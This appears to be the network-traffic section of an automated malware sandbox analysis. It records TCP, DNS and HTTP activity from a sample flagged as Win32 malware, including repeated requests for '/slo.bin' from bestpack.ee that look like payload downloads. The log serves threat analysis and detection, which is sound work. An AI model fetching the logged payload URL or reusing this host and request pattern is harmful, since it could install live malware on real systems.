Sep 27, 2024 19:05:14.600861073 CEST	80	49828	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:14.601047993 CEST	49828	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.601356030 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.601455927 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:14.601653099 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.601823092 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.601886988 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:15.053873062 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:15.054059982 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:15.054425001 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:15.054435015 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:15.054578066 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:15.054589033 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:15.494349957 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:15.494623899 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:15.494635105 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:15.494796991 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:15.494978905 CEST	49829	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:15.495048046 CEST	443	49829	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:24.601201057 CEST	80	49828	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:24.601475954 CEST	49828	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.505160093 CEST	49828	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.505259037 CEST	49830	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.722708941 CEST	80	49828	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:25.726630926 CEST	80	49830	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:25.726948023 CEST	49830	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.727962971 CEST	49830	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.948964119 CEST	80	49830	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:25.949950933 CEST	80	49830	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:25.950185061 CEST	49830	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.950548887 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.950651884 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:25.950860977 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.951050997 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:25.951107979 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.406150103 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.406357050 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:26.406722069 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:26.406773090 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.406852007 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:26.406903982 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.851555109 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.851752996 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:26.851836920 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.851897001 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.852009058 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:26.852009058 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:26.852071047 CEST	443	49831	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:26.852093935 CEST	49831	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:35.962884903 CEST	80	49830	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:35.963125944 CEST	49830	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:36.861923933 CEST	49830	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:36.862025023 CEST	49832	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.081711054 CEST	80	49832	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.081927061 CEST	49832	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.082010031 CEST	49832	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.083000898 CEST	80	49830	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.301727057 CEST	80	49832	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.303551912 CEST	80	49832	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.303812981 CEST	49832	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.304080963 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.304191113 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.304416895 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.304502010 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.304539919 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.756470919 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.756779909 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.757388115 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.757411003 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:37.757493019 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:37.757503033 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:38.215539932 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:38.215732098 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:38.215821028 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:38.215858936 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:38.216034889 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:38.216106892 CEST	49833	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:38.216165066 CEST	443	49833	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:47.312140942 CEST	80	49832	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:47.312380075 CEST	49832	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.220012903 CEST	49832	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.220166922 CEST	49834	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.441453934 CEST	80	49832	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:48.441525936 CEST	80	49834	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:48.441828012 CEST	49834	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.442399979 CEST	49834	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.669414043 CEST	80	49834	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:48.669481039 CEST	80	49834	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:48.669672012 CEST	49834	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.670259953 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.670353889 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:48.670583010 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.670871973 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:48.670939922 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:49.115678072 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:49.115964890 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:49.116404057 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:49.116421938 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:49.116466999 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:49.116480112 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:49.563513994 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:49.563714981 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:49.563782930 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:49.563926935 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:49.564022064 CEST	49835	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:49.564083099 CEST	443	49835	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:58.679290056 CEST	80	49834	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:58.679620981 CEST	49834	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:59.575372934 CEST	49834	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:59.575521946 CEST	49836	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:59.791135073 CEST	80	49834	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:59.791949987 CEST	80	49836	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:59.792130947 CEST	49836	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:59.792244911 CEST	49836	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.008724928 CEST	80	49836	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.009735107 CEST	80	49836	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.010143042 CEST	49836	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.010351896 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.010459900 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.010670900 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.010869980 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.010936022 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.457030058 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.457236052 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.457493067 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.457528114 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.457758904 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.457801104 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.892707109 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.892941952 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.893038988 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.893089056 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:00.893260002 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.893335104 CEST	49837	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:00.893393993 CEST	443	49837	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:10.019995928 CEST	80	49836	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:10.020132065 CEST	49836	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:10.901071072 CEST	49836	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:10.901165962 CEST	49838	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.117243052 CEST	80	49838	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.117470980 CEST	49838	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.117588043 CEST	80	49836	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.117706060 CEST	49838	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.333532095 CEST	80	49838	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.334454060 CEST	80	49838	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.334815979 CEST	49838	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.335274935 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.335365057 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.335588932 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.335767031 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.335825920 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.788096905 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.788405895 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.788729906 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.788744926 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:11.788948059 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:11.788963079 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:12.229798079 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:12.229994059 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:12.230056047 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:12.230108976 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:12.230204105 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:12.230205059 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:12.230412006 CEST	49839	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:12.230465889 CEST	443	49839	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:21.344482899 CEST	80	49838	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:21.344788074 CEST	49838	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.242136002 CEST	49838	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.242371082 CEST	49840	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.458448887 CEST	80	49838	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:22.460381985 CEST	80	49840	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:22.460609913 CEST	49840	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.460724115 CEST	49840	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.678495884 CEST	80	49840	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:22.679668903 CEST	80	49840	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:22.679871082 CEST	49840	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.680181026 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.680294037 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:22.680461884 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.680629969 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:22.680675030 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.128465891 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.128801107 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:23.130997896 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:23.131052017 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.131331921 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:23.131373882 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.564488888 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.564639091 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:23.564699888 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.564826965 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.564867020 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:23.564910889 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:23.564934015 CEST	443	49841	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:23.564960957 CEST	49841	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:32.689629078 CEST	80	49840	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:32.690001965 CEST	49840	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:33.567750931 CEST	49840	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:33.567842007 CEST	49842	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:33.785505056 CEST	80	49840	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:33.787761927 CEST	80	49842	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:33.787993908 CEST	49842	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:33.788108110 CEST	49842	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.007947922 CEST	80	49842	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.009402990 CEST	80	49842	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.009848118 CEST	49842	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.010171890 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.010294914 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.010550022 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.010725021 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.010771990 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.455806971 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.456001043 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.456398010 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.456439972 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.456548929 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.456590891 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.894159079 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.894368887 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.894450903 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.894531012 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:34.894622087 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.894696951 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:34.894696951 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:35.206768990 CEST	49843	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:06:35.206847906 CEST	443	49843	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:44.015079975 CEST	80	49842	185.86.211.137	192.168.11.20
Sep 27, 2024 19:06:44.015326023 CEST	49842	80	192.168.11.20	185.86.211.137

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 18:58:46.861701965 CEST	60252	53	192.168.11.20	1.1.1.1
Sep 27, 2024 18:58:47.310432911 CEST	53	60252	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 18:58:46.861701965 CEST	192.168.11.20	1.1.1.1	0xf08f	Standard query (0)	bestpack.ee	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 18:58:47.310432911 CEST	1.1.1.1	192.168.11.20	0xf08f	No error (0)	bestpack.ee		185.86.211.137	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bestpack.ee

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49760	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:58:47.534271955 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 18:58:47.751358986 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 16:58:47 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49762	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:58:58.966526031 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 18:58:59.185018063 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 16:58:59 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49764	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:59:10.338602066 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 18:59:10.556744099 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 16:59:10 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49766	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:59:21.714462996 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 18:59:21.935507059 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 16:59:21 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

